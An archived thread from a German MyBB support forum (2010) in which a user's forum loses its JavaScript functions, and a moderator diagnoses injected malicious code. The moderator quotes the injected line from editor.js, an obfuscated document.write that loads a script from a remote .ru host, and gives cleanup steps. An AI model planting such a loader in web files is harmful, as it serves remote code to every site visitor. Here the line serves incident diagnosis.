+- MyBB.de Forum (https://www.mybb.de/forum)
+-- Forum: Archiv (https://www.mybb.de/forum/forum-57.html)
+--- Forum: MyBB 1.4.x (https://www.mybb.de/forum/forum-51.html)
+---- Forum: Allgemeiner Support (https://www.mybb.de/forum/forum-52.html)
+---- Thema: Virus im System? (/thread-16983.html)
Virus im System? - Gifforus - 21.09.2010
Hallo,
Ich habe zur Zeit massive Probleme mit meinem Forum...
Es scheint nach und nach an Funktionen zu verlieren, ohne dabei irgendwelche Fehlermeldungen auszugeben.
Das erste, was mir aufgefallen ist, dass der "Optionen" Button im ACP unter "Benutzer und Gruppen" plötzlich tot war.
Dann verschwand das Pop-Up beim Editbutton von Beiträgen, sodass der Inline-Editor nicht mehr verfügbar ist und man unmittelbar in das normale editierfenster weitergeleitet wird.
Dann verschwand die komplette Formatleiste bei der Beitragserstellung... Also das Dingen, wo die Buttons für fett, kursiv und co. drin sind.
Seit neustem sind nun auch die Smileys nicht mehr anklickbar. Sie werden zwar angezeigt (auch der "mehr" Button), aber man kann so viel darauf rumklicken, wie man möchte, es passiert einfach nichts.
Gut möglich, dass noch mehr Fehler vorliegen, die ich nur noch nicht entdeckt habe...
Hinzu kommt, dass ich gelegentlich eine Warnmeldung von meinem Virenscanner erhalte... Beispielsweise diese
Habe aber auch schon andere Meldungen über Trojaner erhalten, die geblockt wurden...
Kann ein Virus für die o.g. Fehler verantworltich sein? Wenn ja, wie kann ich das beheben? Und wenn nicht: Wie kann ich das trotzdem beheben und wodurch wird das ausgelöscht?
Die Fehler oben wurden mir übrigens von vielen Usern bestätigt, das ist nicht nur bei mir so... Habe mal einen Account angelegt, an dem ihr probieren könnt
User: Testuser, PW: test123
Adminrechte hat der allerdings keine
Vielen Dank im Vorraus für eure Hilfe
* Link wegen Maleware entfernt *
RE: Virus im System? - Michael - 21.09.2010
Welche MyBB-Version setzt du ein? Der Beschreibung nach wird Javascript nicht mehr ausgeführt. Die Erklärung ist, dass jemand Schadcode in die Dateien eingeschleust hat. Am Ende der jscripts/editor.js steht beispielsweise (URL entfernt):
Code:
document.write('<sc'+'ript type="text/javascript" src="http://xxx.ru/YouTube.js"></scri'+'pt>');Du solltest als erstes das Forum offline nehmen und mit den Originaldateien neu aufsetzen (und dann auf die aktuelle Version aktualisieren). Zudem solltest du die Passwörter für FTP, MySQL und Admin ändern. Außerdem musst du prüfen, dass keine User plötzlich Admin sind oder erweiterte Rechte haben.
RE: Virus im System? - Gifforus - 22.09.2010
verwende MyBB 1.4.11...
mit "neu aufsetzen" meinst du, dass ich das Forum löschen und neu installieren soll, oder nicht..? Kann sich der Schadcode auch in Datein befinden, die ich bei einem Backup speichere, sodass die also wieder da sind, wenn man ich das BackUp lade?
Dass einer meiner User dafür verantwortlich ist, bezweifle ich... die kenne ich eigentlich alle recht gut. Werde dennoch vorsichtshalber mal die Profile checken.
Kann sich dieser jemand, der bei mir sein Unwesen treibt, über Plugins eingeschlichen haben? Ich habe eine GameSection im Forum, mit einigen Arcardespielen. Kann sich über ein solches Spiel jemand Zugriff verschafft haben?
RE: Virus im System? - StefanT - 22.09.2010
Wie der Zugriff erfolgte, kann man aus der Ferne nicht sagen.
RE: Virus im System? - Michael - 22.09.2010
Wenn du den Zeitpunkt einschränken kannst, finden sich möglicherweise Hinweise in den Logs des Servers. Ohne die kann man nur raten.
RE: Virus im System? - Gifforus - 24.09.2010
Sooo... habe das Forum nun neu installiert und die Sicherung wieder drauf gezogen... Den Zeitpunkt des Angriffs kann ich nicht eingrenzen, daher werde ich die Ursache mal als "ungeklärt" ant akta legen.
Javascript funktioniert nun wieder tadellos, dafür sehe ich mich mit einer Fehlermeldung konfrontiert, mit der ich als Laie nicht all zu viel anfangen kann :/
Habe mal nen Screenshot gemacht. Der Screenshot zeigt nicht nur die Meldung selbst, sondern auch die Auswirkung des Fehlers: Bei der Beitragserstellung werden keine Smileys angezeigt.
Vielleicht kann mir ja einer von euch da helfen?
Achja und wenn ich hier schon was nachfrage, hab ich noch ne kleinere Frage:
Bei der Neuinstallation wurden sämtliche Umlaute in unlesbare Zeichen verwandelt. (Bsp: ä = ä) Gibt es ein Tool, womit ich diese Zeichen systematisch im ganzen Forum in Umlaute zurückverwandeln kann, oder geht das nur manuell?
RE: Virus im System? - Michael - 24.09.2010
1) Werden die Smilies im ACP korrekt gelistet? Falls ja speichere bitte einen neu ab. Ist das Problem damit behoben?
2) Siehe:
http://forum.mysqldumper.de/die-umlautproblematik-was-wieso-was-tun-t2313.html
http://forum.mysqldumper.de/dsb-s-umlaut-korrektur-duk-t2406.html